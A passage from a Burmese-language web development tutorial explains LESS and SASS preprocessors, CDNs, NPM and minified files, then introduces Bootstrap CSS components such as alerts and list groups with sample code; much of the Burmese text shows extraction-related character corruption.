ပါပြပီ။ ဒါကြေပမယ့် အချ ို ့ကြေနရာကြေတွမှာ ဆက်သံုးကြေနeကရဆဲပါပဲ။ Vendor Prefix ဆိုတဲ့အသုံးအနှုန်းက yာကို
ဆိုလုိတာလဲဆိုတာကို သိကြေစoုိန့ဲ့ ရံoန်ရံခါ Vendor Prefix ကြေတွသုံးပြပီး ကြေရးထားတဲ့ကုဒ်ကြေတွကို ကြေတွ့တဲ့အခါ
သူတိုရ့ဲ့အဓိပ္ပါယ်ကို သိရှိကြေစoုိအ့တွက် ထည့်သွင်းကြေoာ်gပgခင်း goစ်ပါတယ်။
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Preprocessor
ပြပီးခဲ့တဲ့အခန်းမှာလည်း ကြေgပာခဲ့ပါတယ်။ Web Document ကြေတွ တည်ကြေဆာက်oုိအ့တွက်  Style Language
မူကွဲကြေတွ  နှစ်မျ ို းသံုးမျ ို း  မရှိyဲ  CSS  တစ်မျ ို းတည်းသာ  ရှိပါတယ်။  Language  အကြေနနဲ့  မူကွဲမရှိကြေပမယ့်
LESS လုိ့ကြေခါ်တဲ့ နည်းပညာနဲ့ SASS လုိ့ကြေခါ်တဲ့ Preprocessor နည်းပညာကြေတွကြေတာ့ ရှိပါတယ်။ Bootstrap
က အရင် Version အကြေဟာင်းကြေတွမှာ LESS ကိုသုံးပြပီး ကြေနာက်ပုိင်း Version ကြေတွမှာ SASS ကိုသုံးပါတယ်။

ဒီနည်းပညာကြေတွက  CSS  မှာ မူလကမပါတဲ့  ကြေရးထုံးကြေတွကို  goည့်စွက်ကြေပးထားeကပါတယ်။ ဥပမာ  - LESS
ကိုအသုံးgပုကြေရးသားထားတဲ့ ဒီကုဒ်ကိုကြေလ့လာeကည့်ပါ။

 LESS 

@primary: blue;

button {
  background: @primary;
}

a {
  color: @primary;
}

@primary ဆိုတဲ့  Variable တစ်ခုနဲ့  blue ဆိုတဲ့  Color Value ကို သတ်မှတ်ကြေပး ထားလုိက်တာပါ။ ဒါ
ကြေeကာင့် ကြေနာက်ပုိင်း လုိအပ်တဲ့ကြေနရာမှာ gပန်သုံးလုိရ့သွားပါတယ်။ နမူနာအရ button ရဲ့ background
နဲ့  a ရဲ့  color တိုဟ့ာ  blue goစ်သွားမှာပါ။  blue လုိတ့ိုက်ရုိက်မကြေပးကြေတာ့yဲ၊  blue တန်oုိးရှိကြေနတဲ့
@primary ကိုကြေပးလုိက်တာပါ။  ဒီနည်းကကြေပးတဲ့  အားသာချက်ကကြေတာ့၊  အကြေeကာင်းအမျ ို းမျ ို းကြေeကာင့်
စိတ်ကူးကြေgပာင်းပြပီး အကြေရာင် blue ကို မသံုးချင်ကြေတာ့yူး  purple ကြေgပာင်းသုံးချင်တယ်ဆိုရင် တစ်ခုချင်း
လုိက်gပင်oုိ့ မလုိကြေတာ့ပဲ @primary ရဲ့ တန်oုိးကို purple လုိ့ ကြေgပာင်းကြေပးလုိက်ယုံပါပဲ။ @primary ကို
သုံးထားသမျှ ကြေနရာအားလုံး purple goစ်သွားမှာပါ။ ဒီလုိပါ -
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 LESS 

@primary: purple;

button {
  background: @primary;
}

a {
  color: @primary;
}

SASS နဲဆ့ိုရင် ဒီလုိကြေရးရပါတယ်။

 SASS 

$primary: blue;

button {
  background: $primary;
}

a {
  color: $primary;
}

အတတူူပါပဲ။  Variable  အgoစ်သတ်မှတ်oုိ့  @ ကိုမသုံးကြေတာ့yဲ  $ ကိုသုံးသွားတာပဲ ကွာသွားပါတယ်။ တစ်
ချ ို ့ Style Rule ကြေတွကို LESS မှာ ဒီလုိလည်း gပန်ကြေခါ်သုံးလုိ့ ရပါကြေသးတယ်။

 LESS 

.button {
  background: blue;
  color: white;
  padding: 6px 12px;
}

button {
  .button();
}

a {
  .button();
}
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.button မှာကြေရးထားတဲ့  သတ်မှတ်ချက်ကြေတွကို  button အတွက်ယူသုံးလုိက်သလုိ၊  a အတွက်လည်း
ယူသုံးလုိက်တာပါ။ ဒါကြေeကာင့် တူညီတဲ့  Rule  ကြေတွကို တစ်ခါကြေရးထားယုံနဲ့  လုိတဲ့ကြေနရာက ယူသံုးလုိရ့သွား
သလုိ၊ gပင်oုိလုိ့ရင်လည်း တစ်ကြေနရာမှာ gပင်လုိက်ယုံနဲ့ ယူသံုးထားတဲ့ကြေနရာအားလုံးမှာ သက်ကြေရာက်သွားကြေစ
မှာပဲ goစ်ပါတယ်။

အလားတူကုဒ်ကို SASS မှာ ဒီလုိကြေရးရပါတယ်။

 SASS 

@mixin button {
  background: blue;
  color: white;
  padding: 6px 12px;
}

button {
  @include button;
}

a {
  @include button;
}

သူကကြေတာ့  @mixin Keyword  ကိုသုံးပြပီး  Rule  ကြေတွကို  ကြကိုကြေရးကြေပးရပြပီး  ယူသုံးချင်တဲ့ကြေနရာမှာ
@include နဲ့ gပန်ယူသုံးလုိက်တာပါ။ SASS မှာ SASS နဲ့ SCSS ဆိုပြပီးကြေရးထံုးမူကွဲ (၂) မျ ို းရှိပါကြေသးတယ်။
တစ်ကယ်ကြေတာ့ အခုနမူနာကြေပးခဲ့တဲ့ကုဒ်ကြေတွကို SCSS လုိ့ကြေခါ်မှ ပုိမှန်ပါမယ်။ SASS ကြေရးထုံးအမှန်နဲဆ့ိုရင် ဒီ
လုိgoစ်မှာပါ။

 SASS 

@mixin button
  background: blue
  color: white
  padding: 6px 12px

button
  @include button

a
  @include button
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သိပ်မကွာပါyူး။ Bracket ကြေတွ ပါgခင်း/မပါgခင်း နဲ့ Semi-colon ကြေတွ ပါgခင်း/မပါgခင်း ကွာသွားတာပါ။ နှစ်
မျ ို းလုံး  yယ်လုိကြေရးကြေရး  ကြကိုက်တဲ့နည်းကို  သံုးပြပီးကြေရးနိုင်ပါတယ်။  ဒါကြေeကာင့်  SASS  နဲ့  SCSS  ဆိုတဲ့
အသုံးအနှုန်း (၂) မျ ို းကြေတွ့ရင် မျက်စိမလည်ပါနဲ့။ အတူတူပါပဲ၊ ကြေရးထုံးနည်းနည်းကြေလး ကွာသွားတာပါ။

ဒီနည်းပညာကြေတွကိုသုံးပြပီးကြေရးထားတဲ့ကုဒ်ကြေတွကို  တိုက်ရုိက်သံုးလုိ့မရပါyူး။  Browser  ကြေတွက  CSS  ကိုပဲ
နားလည်eကတာပါ။  LESS  ကြေတွ  SASS  ကြေတွကို  နားမလည်eကပါyူး။  ဒါကြေeကာင့်  ဒီကုဒ်ကြေတွကို  Browser
နားလည်တဲ့  CSS  goစ်ကြေအာင်  အရင်ကြေgပာင်းကြေပးရပါတယ်။  ဒီလုိမျ ို း  CSS    goစ်ကြေအာင်  အရင်ကြကိုကြေgပာင်းပြပီး  
ကြေတာ့မှသာ သုံးလုိရ့တဲ့အတွက်   Preprocessor   နည်းပညာကြေတွလုိ ့ကြေခါ်eကတာပါ  ။

Preprocessor  နည်းပညာကြေတွရဲ့  ကြေရးနည်းအကြေသးစိတ်ကို  အခုတစ်ခါထဲကြေလ့လာoုိ့  မဟုတ်ကြေသးပါyူး။
လုိအပ်လာကြေတာ့မှ  ဆက်လက်ကြေလ့လာ  eကရမှာပါ။  ဒီအပုိင်းရဲ့  ကြေနာက်နားမှာကြေတာ့  Bootstrap  ကို
Customize  လုပ်လုိရ့တဲ့  SASS  ကုဒ်တစ်ချ ို ့ကို  နမူနာထည့်ကြေပးထားပါတယ်။  ကြေလာကြေလာဆယ်မှာ
Preprocessor ဆိုတဲ့အသုံးအနှုန်းကိကုြေတွ့ရင် yာကိုကြေgပာကြေနတာလဲဆိုတာ သိoုိက့ အဓိကပါ။

CDN
Bootstrap အပါအဝင် CSS နည်းပညာကြေတွ၊ JavaScript နည်းပညာကြေတွ၊ Font နဲ့ Icon နည်းပညာကြေတွကို
ပုံစံ (၃) မျ ို းနဲ ့ရယူအသံုးgပုနိုင်ကြေလ့ ရှိပါတယ်။ Download, CDN နဲ့ NPM တို့goစ်ပါတယ်။

Download  ကကြေတာ့  ရှင်းပါတယ်။  ကြေပးထားတဲ့oုိင်ကြေတွကို  Download  လုပ်ပြပီး  ကိုယ့်ပကြေရာင်္ဂျက်ထဲမှာ
ထည့်သွင်းအသုံးgပုgခင်း goစ်ပါတယ်။ ဥပမာ ဒီလုိပါ -

<link rel="stylesheet" href="css/bootstrap.min.css"> 

နမူနာအရ  bootstrap.min.css ဆိုတဲ့oုိင်က  css oုိဒါထဲမှာ  ရှိတယ်ဆိုတဲ့သကြေyာနဲ့  Path
လမ်းကြေeကာင်းကြေပးပြပီး  ချတိ်ဆက်ထားတာပါ။  ဒါကြေeကာင့်  bootstrap.min.css oုိင်ကို  ကြကိုတင်
Download ယူပြပီး css oုိဒါထဲမှာ ထည့်ထားကြေပးoုိ့ လုိအပ်မှာgoစ်ပါတယ်။
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CDN ကကြေတာ့ oုိင်ကြေတွကို  Download လုပ်စရာမလုိyဲ ဆာဗာကကြေန တုိက်ရုိက်ချတိ်သံုးတဲ့နည်း goစ်တယ်
လုိ့ အတိုချုပ် ဆိုနိုင်ပါတယ်။ ဥပမာ ဒီလုိပါ -

<link rel="stylesheet" href="https://cdnjs.com/css/bootstrap.min.css">

နမူနာမှာ  bootstrap.min.css  oုိင်ရဲ့  CDN  ဆာဗာလိပ်စာအgပည့်စံုကိုကြေပးပြပီး  ချတိ်ဆက်လုိက်တာ
ပါ။ နမူနာgoစ်ပါတယ်၊ တစ်ကယ်ချတိ်oုိဆ့ိုရင် URL က ဒီထက်ပုိရှည်ပါလိမ့်မယ်။ Version နံပါတ်ကြေတွ yာ
ကြေတွ ပါကြေသးလုိ့ပါ။

လုိအပ်တဲ့oုိင်ကြေတွကို  CDN ဆာဗာကကြေနတိုက်ရုိက် ချတိ်သံုးလုိက်ရင် လက်ကြေတွ့မှာ အကျ ို းရှိပါတယ်။ CDN
ဆိုတာ  Content  Distribution  Network  (သုိ့)  Content  Delivery  Network  ရဲ့  အတိုကြေကာက်  goစ်ပါ
တယ်။  Google CDN, Microsoft CDN, Cloudflare CND  စသgoင့်  CDN Network  ကြေတွ ရှိeကပါတယ်။
Google တို့ Microsoft တိုက့ အသုံးများတဲ့ oုိင်ကြေတွကို အများအဆင်ကြေgပကြေစoုိအ့တွက် သူတိုရ့ဲ့ CDN ဆာဗာ
ကြေတွကြေပါ်မှာ တင်ထားကြေပးeကပါတယ်။  CDN ဆာဗာကြေတွဆိုတာ ကမ္ဘာအနှံ့မှာ goန့်ပြပီးကြေတာ့ ထားeကတာပါ။
ဒါကြေeကာင့်  အသုံးgပုသူ    User    နဲအ့နီးဆုံးဆာဗာကကြေန လုိတဲ့oုိင်ကြေတွကို  ချကြေပးနိုင်မှာ goစ်ပါတယ်  ။ စင်ကာပူ
ကြေန အသုံးgပုသူအတွက် လုိတဲ့oုိင်ကို  စင်ကာပူ ဆာဗာကကြေန ချကြေပးပြပီး၊ ရန်ကုန်ကကြေန အသုံးgပုသူအတွက်
လုိတဲ့oုိင်ကို ရန်ကုန်ဆာဗာကကြေန ချကြေပးတဲ့ အလုပ်မျ ို းကို CDN ကလုပ်ကြေပးနိုင်ပါတယ်။

CDN  ရဲ့  တgခားအားသာချကက်ြေတွလည်း  ရှိပါကြေသးတယ်။ ဒီကြေနရာမှာကြေတာ့ အကျယ်မချဲ့နိုင်ပါyူး။  လုိရင်း
အကြေနနဲ့  CDN  ဆာဗာကြေတွက အသုံးgပုသူ  User  နဲ့  အနီးဆံုး ဆာဗာကကြေန oုိင်ကြေတွကိုချကြေပးနိုင်တယ်လုိသ့ာ
အတိုချုပ် မှတ်ထားပါ။

NPM
NPM ကကြေတာ့ Node Package Manager ရဲ့ အတိုကြေကာက် goစ်ပါတယ်။ အရင်က JavaScript နည်းပညာ
ကြေတွအတွက်ပဲ သံုးeကကြေပမယ့် အခုကြေတာ့ နည်းပညာအစံုအတွက် သုံးeကပါတယ်။ CSS နဲ့ JavaScript နည်း
ပညာကြေတွမှာ  Dependency  လုိ့ကြေခါ်တဲ့  ဆက်စပ်လုိအပ်ချက်ကြေတွ  ရိှeကပါတယ်။  Bootstrap  ရဲ့အရင်
Version  ကြေတွမှာ  jQuery  လုိ့ကြေခါ်တဲ့  JavaScript  နည်းပညာ လုိအပ်ပါတယ်။  jQuery  မပါရင်  Bootstrap
က အgပည့်အဝ အလုပ်မလုပ်ပါyူး။ ဒါကြေeကာင့် jQuery ဟာ Bootstrap အတွက် Dependency လုိ့ ဆိုနိုင်
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ပါတယ်။ oုိင်ကြေတွကို ကိုယ့်yာသာ Download လုပ်မယ်ဆိုရင် Dependency ကြေတွကိုလည်း ကိုယ့်yာသာ
Download  ထပ်လုပ်ရပါတယ်။  Bootstrap  ကို  Download  လုပ်၊  ပြပီးရင်  jQuery  ကိုလည်း  ထပ်ပြပီး
Download လုပ်ရမှာပါ။  NPM ကကြေတာ့ Dependency    ကြေတွကို အလုိအကြေလျှာက်    Download   လုပ်ကြေပးနိုင်  
တဲ့ နည်းပညာgoစ်ပါတယ်။ Command Line နည်းပညာgoစ်ပါတယ်။ ဥပမာ -

npm install bootstrap

ဒီ  Command က Bootstrap ကို  Download လုပ်ကြေပးပါလုိ့ ကြေgပာလုိက်တာပါ။ ထူးgခားချက်အကြေနနဲ့  NPM
က jQuery အပါအဝင် Bootstrap ရဲ့  Dependency ကြေတွကို အလုိအကြေလျှာက် တစ်ခါထဲ Download လုပ်
ကြေပးသွားမှာ goစ်ပါတယ်။

NPM  လုိနည်းပညာမျ ို းဟာလည်း ကျယ်gပန့်ပါတယ်။ ထံုးစံအတိုင်း  ဒီအဆင့်မှာ yယ်လုိနည်းပညာမျ ို းလဲ
သိကြေစoုိသ့ာ ရည်ရွယ်ပါတယ်။ NPM နဲ့ oုိင်ကြေတွကို ကြေဒါင်းလုိက်ရင် လုိအပ်တဲ့ Dependency ကြေတွကို တစ်ခါ
ထဲ အလုိအကြေလျှာက် တွဲကြေဒါင်းကြေပးတယ်လုိ့ အတိုချုပ် မှတ်ထားလုိက်ပါ။ ထပ်မံသိရှိသင့်တာကြေတွကို ကြေနာက်
အပုိင်းကြေတွမှာ လုိအပ်သလုိ ဆက်လက်ကြေoာ်gပကြေပးသွားမှာပါ။

Minify
CSS  နည်းပညာကြေတွ  JavaScript  နည်းပညာကြေတွကို  တီထွင်eကသူကြေတွက  ပုံစံနှစ်မျ ို းနဲ့  ကြေပးeကကြေလ့ရှိပါ
တယ်။ မူရင်းကုဒ် နဲ့ အ့ဲဒီကုဒ်ကို ကျံု့သွားကြေအာင် ချံု့ထားတဲ့ ကုဒ်goစ်ပါတယ်။ ကုဒ်ကြေတွကိုကျံု့သွားကြေအာင်
ချံု့လုိက်တဲ့လုပ်ငန်းကို    Minify    လုပ်တယ်လုိ့ ကြေခါ်ပါတယ်  ။ ချံု့တယ်ဆိုတာ အများအားgoင့် ကုဒ်ထဲမှာပါတဲ့
Space ကြေတွ Indent ကြေတွ Comment ကြေတွကို oယ်ထုတ်လုိက်တာပါ။ ဒီ Space ကြေတွ Comment ကြေတွပါလုိ့
သာ ကုဒ်က oတ်eကည့်လုိရ့နိုင်တာပါ။  ဒါကြေeကာင့်  Minify  လုပ်ထားတဲ့  ကုဒ်ကကြေတာ့ yာကြေတွကြေရးထားလဲ
oတ်eကည့်လုိ ့အဆင်ကြေgပကြေတာ့မှာမဟုတ်ပါyူး။ 

အကျဉ်းချုပ်အားgoင့် ကြေရးထားတဲ့ကုဒ်ကိုကြေလ့လာချင်ရင် မူရင်းကုဒ်ကိုသံုးရမှာgoစ်ပြပီး၊  လက်ကြေတွ့အသုံးgပုoုိ့
အတွက်ကြေတာ့ Minify  ကုဒ်ကိုယူရမှာပါ။ ချံု့ထားတဲ့အတွက် oုိင်အရွယ်အစား ကြေသးသွားလုိ့  User  အတွက်
Download လုပ်ရတာ ပုိgမန်သွားမှာgoစ်ပါတယ်။ 
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မူရင်းကုဒ်နဲ့  Minify လုပ်ထားတဲ့ကုဒ် ကွဲgပားအာင် oုိင်အမည်ကြေပးတဲ့အခါ ကြေနာက်ကကြေန .min ဆိုတာကြေလး
ထည့်ကြေပးကြေလ့ရှိပါတယ်။ ဥပမာ  bootstrap.css ဆိုရင် မူရင်းကုဒ်goစ်ပြပီး  bootstrap.min.css
ဆိုရင် Minify လုပ်ထားတဲ့ ကုဒ်oုိင် goစ်နိုင်ပါတယ်။ 

ကြေပးထားတဲ့နမူနာမှာ မူရင်းကုဒ်နဲ ့Minify ကုဒ်တိုရ့ဲ့ ကွာgခားပုံကို ယှဉ်တွဲကြေလ့လာeကည့်ပါ။

 Normal CSS  Minify CSS 

html {
  font-family: sans-serif;
  line-height: 1.15;
}

article, aside {
  display: block;
}

body {
  margin: 0;
  font-family: Roboto, Arial;
  font-size: 1rem;
  font-weight: 400;
  line-height: 1.5;
  color: #212529;
  text-align: left;
  background-color: #fff;
}

hr {
  box-sizing: content-box;
  height: 0;
  overflow: visible;
}

html{font-family:sans-
serif;line-
height:1.15}article,aside{disp
lay:block}body{margin:0;font-
family:Roboto,Arial;font-
size:1rem;font-
weight:400;line-
height:1.5;color:#212529;text-
align:left;background-
color:#fff}hr{box-
sizing:content-
box;height:0;overflow:visible}

ဒီအခန်းရဲ့ရည်ရွယ်ချက်ကကြေတာ့  အခုလုိအသုံးအနှုန်းကြေတွကို  ကြကိုတင်ရှင်းလင်းထားgခင်းအားgoင့်
ကြေနာက်ပုိင်းမှာ ဆက်လက်ကြေလ့လာရတာ ပုိမုိgမန်ဆန်သွားကြေစoုိ့ goစ်ပါတယ်။ ကြကိုရှင်းမထားရင် yာကိုဆိုလုိ
မှန်း မသိတဲ့ အတိုကြေကာက် အသုံးအနှုန်းကြေတွကြေeကာင့် ကြေနာက်ပုိင်းမှာ မျက်စိလည်ကြေနeကမှာ စိုးလုိပ့ါ။
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အခန်း (၄) – Bootstrap CSS Components

Bootstrap  ကို  CSS  Components,  JavaScript  Components,  Layouts  စသgoင့်အပုိင်းလုိက်ခွဲပြပီး
ကြေလ့လာ သွားeကပါမယ်။ ဒီအခန်းမှာ ကြေလ့လာမယ့် Components ကြေတွကကြေတာ့ CSS Component ကြေတွပါ။
ရုိးရုိးကြေလးကြေgပာရရင် ကြကိုတင်ကြေရးသားကြေပးထားတဲ့  CSS ကုဒ်ကြေတွပါပဲ။ ဥပမာ - <a> Element ကြေတွကို  CSS
နဲ ့Button ပုံစံကြေလးကြေတွ goစ်ကြေအာင် ကိုယ့်yာသာ ကြေရးမယ်ဆိုရင် ရပါတယ်။ ဒီလုိကြေရးရမှာပါ။

 HTML 

<a href="#" class="first">Link Button</a>
<a href="#" class="second">Link Button</a>

 CSS 

a {
display: inline-block;
padding: 10px 20px;
color: white;
text-decoration: none;
border-radius: 5px;

}

.first {
background: blue;;

}

.second {
background: green;

}

နမူနာအရ  <a> Element  နှစ်ခုလံုးအတွက်  padding ကြေတွ  border-radius ကြေတွ  သတ်မှတ်
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ကြေပးလုိက်တဲ့အတွက်  Button  ကြေလးကြေတွနဲ့  တူသွားပါတယ်။  ပြပီးကြေတာ့မှ  အကြေရာင်မတူချင်လုိ့  သက်ဆိုင်ရာ
class အလုိက်  background ကြေတွ  သတ်မှတ်ကြေပးထားတာပါ။  စမ်းeကည့်လုိက်ရင် ရလဒ်က ဒီလုိပံုစံ
goစ်ပါလိမ့်မယ်။

အလားတူ ရလဒ်မျ ို းရoုိအ့တွက် Bootstrap ကိုအသုံးgပုပြပီး အခုလုိ ကြေရးနိုင်ပါတယ်။

CSS  ကုဒ်ကြေတွ ကိုယ့်yာသာ မကြေရးကြေတာ့ပါyူး။  @import နဲ့  Bootstrap CSS  oုိင်ကို  ချတိ်ကြေပးလုိက်ပြပီး
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Element ကြေတွမှာ Bootstrap က သတ်မှတ်ထားတဲ့အတိုင်း class ကို မှန်ကြေအာင်ကြေပးလုိက်ယုံနဲ့ လုိချင်တဲ့
ရလဒ်ကို  ရရှိgခင်းgoစ်ပါတယ်။  Bootstrap  က CSS  ကုဒ်ကြေတွကို  ကြကိုကြေရးကြေပးထားတဲ့အတွက်ကိုယ်က အခု
လုိ အသင့်ထည့် သံုးနိုင်gခင်း  goစ်ပါတယ်။  Bootstrap    သကြေyာသyာဝ အနှစ်ချုပ်က ဒါပါပဲ။ သူက    CSS  
ကုဒ်ကြေတွ ကြေရးထားကြေပးတယ်။ ကိုယ်က ယူသံုးနိုင်ပါတယ်။

Bootstrap  ကို  စတင်အသံုးgပုနိုင်oုိအ့တွက်  နည်းလမ်းအမျ ို းမျ ို း  ရှိပါတယ်။ သူ့ဝy်ဆိုက်ကိုသွားပြပီးကြေတာ့
Download ရယူနိုင်သလုိ NPM နဲလ့ည်း Download ရယူနိုင်ပါတယ်။ CDN ကကြေန တိုက်ရုိက်ချတိ်ပြပီးကြေတာ့
လည်း အသံုးgပုလုိရ့ပါတယ်။ ဒီစာအုပ်မှာကြေတာ့ Code Pen ကိုအသုံးgပုပြပီး နမူနာကြေတွ ကြေoာ်gပကြေနသလုိ စာ
oတ်သူကိုလည်း  Code  Pen  မှာပဲ  တစ်ခါထဲ  လုိက်ကြေရးစမ်းကြေစလုိတဲ့အတွက်  CDN  ကကြေန  တိုက်ရုိက်
ချတိ်ဆက် အသံုးgပုတဲ့နည်းကို သုံးပါမယ်။

CDN  ကကြေန  ချတိ်ချင်ရင်  နည်းလမ်းနှစ်မျ ို းနဲ့  ချတိ်နိုင်ပါတယ်။  တစ်နည်းကကြေတာ့  HTML  ထဲမှာ  အခုလုိ
<link> Element ကိုသုံးပြပီး ချတိ်နိုင်ပါတယ်။

 HTML 

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/ 
dist/css/bootstrap.min.css">

ကြေနာက်တစ်နည်းအကြေနနဲ့ အထက်ကနမူနာမှာသံုးခဲ့သလုိ CSS ထဲမှာ @import နဲ့ ချတိ်ပြပီးသုံးနိုင်ပါတယ်။

 CSS 

@import("https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/
bootstrap.min.css");

ဒီကြေနရာမှာ  Version နံပါတ်ကိုသတိထားပါ။ နမူနာကြေပးထားတဲ့  Bootstrap  oုိင်လိပ်စာမှာ  5.1.3  လုိပ့ါကြေနပါ
တယ်။ ဒီစာကြေရးကြေနစဉ်မှာ  ထွက်ထားတဲ့  ကြေနာက်ဆံုး  Version  ပါ။  စာoတ်သူက  လက်ကြေတွ့စမ်းသပ်စဉ်မှာ
ကြေနာက်ဆံုးကြေရာက်ရှိကြေနတဲ့    Version    ကိုကြေလ့လာပြပီး အ့ဲဒီ    Version    ကို အသုံးgပုသင့်ပါတယ်  ။  Bootstrap  ရဲ့
Documentation မှာပဲ eကည့်လုိက်လုိ ့ရပါတယ်။

- https://getbootstrap.com/

https://getbootstrap.com/
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ဆက်လက်ပြပီး  Bootstrap  ရဲ့  Component  နမူနာကြေတွ စတင်ကြေလ့လာပါကြေတာ့မယ်။  Code Pen  မှာ  CDN
ကoုိင်ကို <link> ကြေတွ @import ကြေတွနဲ့ကြေတာင်ချတိ်စရာမလုိပါyူး။ Pen Setting ရဲ့ CSS Section မှာ
ကိုယ်သုံးချင်တဲ့ oုိင်ကို ကြကိုထည့်ကြေပးထားလုိရ့ပါတယ်။ ဒီလုိပါ –

Setting ရဲ့  CSS Section ကိုကြေရွးလုိက်ရင် Preprocessor, Reset, Vendor Prefix  စသgoင့်  Option ကြေတွ့
ကို ကြေတွ့ရပါလိမ့်မယ်။ ဒါကြေတွအကြေeကာင်းကို ကြကိုကြေgပာgပထားပြပီးသားပါ။ ဒါကြေပမယ့် ကိုယ့်yာသာ အ့ဲဒီနည်း
ပညာကြေတွ တစ်ခခုျင်းကြေရွးကြေပးစရာ မလုိပါyူး။  Bootstrap ကို သံုးမှာမုိလုိ့့  Bootstrap ထဲမှာ ဒါကြေတွအကုန်
ပါပြပီးသားပါ။  External  Stylesheets  ဆိုတဲ့  ကြေနရာမှာသာ  Bootstrap  CSS  oုိင်တည်ကြေနရာကို  ထည့်
ကြေပးလုိက်ရင်ရပါပြပီ။ 

ထည့်ရမယ့်လိပ်စာကို ကြေoာ်gပကြေပးလုိက်ပါတယ်။ ကူးကြေရးမယ့်အစား Bootstrap Documentation မှာ သွား
ရှာပြပီး ထည့်ကြေပးလုိက်သင့်ပါတယ်။ ကူးကြေရးမယ်ဆိုရင်၊ ရှည်တဲ့အတွက် စာလံုးကြေတွကျန်ပြပီး မှားနိုင်လုိ့ နည်း
နည်းင်္ဂရုစိုက်ကြေပးပါ။

https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css

ဒီလုိထည့်သွင်းပြပီးပြပီဆိုရင်ကြေတာ့  Bootstrap  Component  နမူနာကြေတွ  စတင်ကြေရးသား  စမ်းသပ်လုိရ့ပါပြပီ။

https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css
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တစ်ခါထဲ  လက်ကြေတွ့လုိက်လုပ်  eကည့်ကြေစချင်ပါတယ်။  မခက်သလုိ  ကြေပျာ်oုိလ့ည်းကြေကာင်းပါတယ်။  လွယ်
လွယ်ကြေလးနဲ့ ရလဒ်ကြေတွ့gမင်ရမှာ မုိလုိ့ပ့ါ။ 

Alerts
Alert  Component  ဟာ  အသုံးဝင်တဲ့  Component  တစ်ခုပါ။  ဝy်ဆိုက်နဲ့  User  Interface  ကြေတွ
တည်ကြေဆာက်တဲ့အခါ  User  ကို အသိကြေပးစာ၊ သတိကြေပးစာကြေလးကြေတွ gပချင်တဲ့အခါ သံုးeကပါတယ်။ အလုပ်
တစ်ခု ပြပီးသွားကြေeကာင်း အသိကြေပးမယ်။ Error တက်သွားကြေeကာင်း သတိကြေပးမယ် စသgoင့်ပါ။ alert Class
ကို သုံးရပါတယ်။ ဒီလုိပါ။

 HTML 

<div class="alert alert-success">
    Successfully completed something
</div>

ဒါဆိုရင်  သပ်သပ်ရပ်ရပ်  အကြေရာင်ချယ်ပြပီး  gပကြေပးတဲ့  Alert  Box  ပုံစံကြေလးတစ်ခုကို  ရရှိမှာgoစ်ပါတယ်။
Bootstrap မှာ Color Class ကြေတွရှိပါတယ်။ နမူနာမှာပါတဲ့  alert-success ဟာ Color Class တစ်ခု
goစ်ပါတယ်။ တgခား Color Class ကြေတရွှိပါကြေသးတယ်။

• primary
• secondary
• success
• danger
• warning
• info
• light
• dark

alert-success ရဲ့ success ကြေနရာမှာ ကြေပးထားတဲ့ Color Class ကြေတွထဲက ကြကိုက်တာနဲ့ အစားထုိး
ပြပီး သုံးလုိရ့ပါတယ်။ အခုလုိ နမူနာကြေလးတစ်ချ ို ့ စမ်းeကည့်လုိက်ပါ။
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alert Class ကိုသုံးထားလုိ့  Alert Box ကြေလးကြေတွနဲ့ gပတာချင်းတူကြေပမယ့် Color Class မတူလုိ့ အကြေရာင်
ကြေလးကြေတွ  ကွဲgပားသွားတာကို  ကြေတွ့ရမှာပါ။  Bootstrap  နဲ့  ဒါမျ ို းကြေလးကြေတွကို  အလွယ်တကူရရှိနိုင်တာပါ။
Color Class   ကြေလးကြေတွကို မှတ်ထားကြေပးပါ။ ကြေနာက်ပုိင်းမှာ ခဏခဏ အသံုးgပုရမှာပါ  ။

List Groups
ဆက်လက်ကြေလ့လာချင်တာကကြေတာ့  List  Group  goစ်ပါတယ်။  သူလည်း  အသံုးများပါတယ်။  <ul> တို့
<ol> တိုလုိ့  Bullet/Number  List  ကြေတွကို  App  ကြေတွမှာကြေတွ့ရကြေလ့ရှိတဲ့  Block  List  ကြေလးgoစ်ကြေအာင်
oန်တီးကြေပးပါတယ်။ ဒီလုိကြေရးရပါတယ်။

 HTML 

<ul class="list-group">
<li class="list-group-item">Item One</li>
<li class="list-group-item">Item Two</li>
<li class="list-group-item">Item Three</li>
<li class="list-group-item">Item Four</li>
<li class="list-group-item">Item Five</li>

</ul>

တစ်ကယ်ကြေတာ့  <ul> ကြေတွ  <ol> ကြေတွမှ  မဟုတ်ပါyူး၊  မည်သည့်  Element  ကိုမဆို  သုံးလုိရ့ပါတယ်။
ပင်မ Element မှာ list-group Class ကြေပးပြပီး အတွင်းထဲက Item ကြေတွမှာ list-group-item ကို
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ကြေပးoုိသ့ာလုိပါတယ်။  ရလဒ်ကိုeကည့်လုိက်မယ်ဆိုရင်  အခုလုိ  သပ်သပ်ရပ်ရပ်  ကြေyာင်ခတ်ကြေပးထားတဲ့
Block List ကြေလးနဲ့ gပကြေပးတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။

Item  ကြေတွထဲက တစ်ခုကို  ကြေရွးထားတဲ့ပုံစံ  (သုိမ့ဟုတ်)  ဦးစားကြေပးကြေoာ်gပတဲ့  ပံုစံ  goစ်ကြေစချင်ရင်  active
Class ကိုသုံးနိုင်ပါတယ်။ active Class ပါသွားတဲ့ Item ကို Highlight လုပ်ပြပီးgပကြေပးတာပါ။ 

 HTML 

<ul class="list-group">
<li class="list-group-item">Item One</li>
<li class="list-group-item active">Item Two</li>
<li class="list-group-item">Item Three</li>
<li class="list-group-item">Item Four</li>
<li class="list-group-item">Item Five</li>

</ul>

ရလဒ်ကိုeကည့်လုိက်မယ်ဆိုရင် အခုလုိပံုစံgoစ်ပါလိမ့်မယ်။
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active Class  ပါသွားတဲ့  Item  ကို  Highlight  လုပ်ပြပီးgပကြေပးတာပါ။  active ကိုမသုံးyဲ ကြေစာကြေစာက
ကြေgပာခဲ့တဲ့ Color Class ကြေတွကို သုံးမယ်ဆိုရင်လည်းရပါတယ်။ ဒီလုိပါ –

နမူနာမှာ  list-group-item-success ကို  သုံးgပထားပါတယ်။  success အစား  နှစ်သက်ရာ
Color Class နဲ့အစားထုိးပြပီးစမ်းeကည့်နိုင်ပါတယ်။ 
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Tables
